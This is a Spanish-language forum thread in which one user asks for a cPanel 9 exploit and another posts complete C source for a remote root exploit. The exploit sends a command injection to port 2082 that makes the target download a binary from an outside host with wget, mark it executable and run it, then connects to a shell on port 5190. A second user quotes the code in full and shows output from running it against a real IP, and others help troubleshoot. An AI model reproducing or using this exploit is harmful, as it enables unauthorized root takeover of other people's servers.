Tema destacado: Recuperar cuenta de Google, GMail, Youtube
Autor
|
Tema: EXPLOIT PARA CPANEL 9 (Leído 6,578 veces)
|
ikb
Desconectado
Mensajes: 1
|
Ando buscando un buen exploit para CPanel 9... si alguien me puede ayudar se lo agradeceria muchisimo
|
|
|
|
|
En línea
|
|
|
|
|
|
+ enrique ZP
Desconectado
Mensajes: 2.937
X-Aqui
|
En ese hilo no encontraras nada de nada. EL exploit es este! /* Private Remote Root Exploit for Cpanel <= 9.x, by Tal0n of NixSec 03-13-04 */ /* Will open a rootshell on port 5190, press enter once to get sh-2.05b# */ /* Please do not distribute, keep it very private if it falls into your hands */
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h>
#define PORT 2082
char hack[] = "GET /login/?user=|%22%60cd /opt;wget http://www.terock.net/mt/archives/.cp/whos;" "chmod 777 whos;./whos%60%22|\r";
int main(int argc, char *argv[]) {
char shell[BUFSIZ]; int sock; struct sockaddr_in remote;
if(argc != 2) { printf("\nCPanel <= 9.x Remote Root Exploit, by Tal0n 03-13-04\n\n"); printf("Usage: %s <ip>\n\n", argv[0]); return 0; }
if(argc == 2) {
printf("\nCPanel <= 9.x Remote Root Exploit, by Tal0n 03-13-04\n");
remote.sin_family = AF_INET; remote.sin_port = htons(PORT); remote.sin_addr.s_addr = inet_addr(argv[1]);
if((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) { printf("\nERROR: Socket()\n\n"); return -1; }
if(connect(sock,(struct sockaddr *)&remote, sizeof(struct sockaddr)) < 0) { printf("\nERROR: Connect()\n\n"); return -1; }
if(send(sock,&hack, sizeof(hack), 0) < 0) { printf("\nERROR: Send()\n\n"); return -1; }
printf("\nExploit Sent! Closing socket and sleeping for 5 seconds...\n");
close(sock); sleep(5);
printf("\nDone! Connecting to %s for shell...\n\n", argv[1]);
sprintf(shell, "telnet %s 5190", argv[1]); system(shell); printf("\n"); }
return 0; } Hasta Pronto
|
|
|
|
|
En línea
|
|
|
|
darksteel-
Desconectado
Mensajes: 142
¡Amo YaBB SE!
|
En ese hilo no encontraras nada de nada. EL exploit es este! /* Private Remote Root Exploit for Cpanel <= 9.x, by Tal0n of NixSec 03-13-04 */ /* Will open a rootshell on port 5190, press enter once to get sh-2.05b# */ /* Please do not distribute, keep it very private if it falls into your hands */
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h>
#define PORT 2082
char hack[] = "GET /login/?user=|%22%60cd /opt;wget http://www.terock.net/mt/archives/.cp/whos;" "chmod 777 whos;./whos%60%22|\r";
int main(int argc, char *argv[]) {
char shell[BUFSIZ]; int sock; struct sockaddr_in remote;
if(argc != 2) { printf("\nCPanel <= 9.x Remote Root Exploit, by Tal0n 03-13-04\n\n"); printf("Usage: %s <ip>\n\n", argv[0]); return 0; }
if(argc == 2) {
printf("\nCPanel <= 9.x Remote Root Exploit, by Tal0n 03-13-04\n");
remote.sin_family = AF_INET; remote.sin_port = htons(PORT); remote.sin_addr.s_addr = inet_addr(argv[1]);
if((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) { printf("\nERROR: Socket()\n\n"); return -1; }
if(connect(sock,(struct sockaddr *)&remote, sizeof(struct sockaddr)) < 0) { printf("\nERROR: Connect()\n\n"); return -1; }
if(send(sock,&hack, sizeof(hack), 0) < 0) { printf("\nERROR: Send()\n\n"); return -1; }
printf("\nExploit Sent! Closing socket and sleeping for 5 seconds...\n");
close(sock); sleep(5);
printf("\nDone! Connecting to %s for shell...\n\n", argv[1]);
sprintf(shell, "telnet %s 5190", argv[1]); system(shell); printf("\n"); }
return 0; } Hasta Pronto Hola, yo estoy usando el exploit, mira,... ./cpanel 66..00....
CPanel <= 9.x Remote Root Exploit, by Tal0n 03-13-04
Exploit Sent! Closing socket and sleeping for 5 seconds...
Done! Connecting to 66..00.... for shell...
Trying 66..00....
Luego de ahí, no hace nada mas? que debo hacer
|
|
|
|
|
En línea
|
|
|
|
+ enrique ZP
Desconectado
Mensajes: 2.937
X-Aqui
|
Cuanto tiempo lo esperas ???
|
|
|
|
|
En línea
|
|
|
|
darksteel-
Desconectado
Mensajes: 142
¡Amo YaBB SE!
|
poco.... 
|
|
|
|
|
En línea
|
|
|
|
+ enrique ZP
Desconectado
Mensajes: 2.937
X-Aqui
|
poco....  Entonces espera un poco mas, a de ser problemas del servidor al cargarlo o algo asi. Hasta Pron 
|
|
|
|
|
En línea
|
|
|
|
darksteel-
Desconectado
Mensajes: 142
¡Amo YaBB SE!
|
Trying (ip)... telnet: connect to address (ip): Connection timed out...
quizas no sea vulnerable...
|
|
|
|
|
En línea
|
|
|
|
pinger
Desconectado
Mensajes: 13
|
Holas gentes, la verdad es es mi primer post aqui, pero llevo ya mucho tiempo estudiando protocolos, algo de programacion ... Bueno al lio, q no entiendo bien este xploit, aparte de q funcione o deje de funcionar. GET /login/?user=|%22%60cd /opt;wget http://www.terock.net/mt/archives/.cp/whos;"En lo q se supone q es el hack en si, realizas dos acciones no? Una hace una peticion al servidor por /login/?user=|%22%60cd /opt Supongo q el | lo q hace es enviar un comando "oculto" dentro del formulario por llamarlo de alguna manera. Pero q representa el %22 y el %60. He estado buscando pero es complicado encontrar algo util por %22 y %60. Algun texto q me pueda servir? La otra duda, es porq hace el get a ese servidor, he estado mirando si aun existe, pero la pagina da un error 404. NOT FOUND :p Bueno espero q no me catalogueis de lammer en mi primer post, un saludo.
|
|
|
|
|
En línea
|
|
|
|
|
|
Spud
Desconectado
Mensajes: 2
|
a mi me lo hace todo bien, me conecta al final, pero los comandos no obtienen respuesta....
|
|
|
|
|
En línea
|
|
|
|
|
|
|
|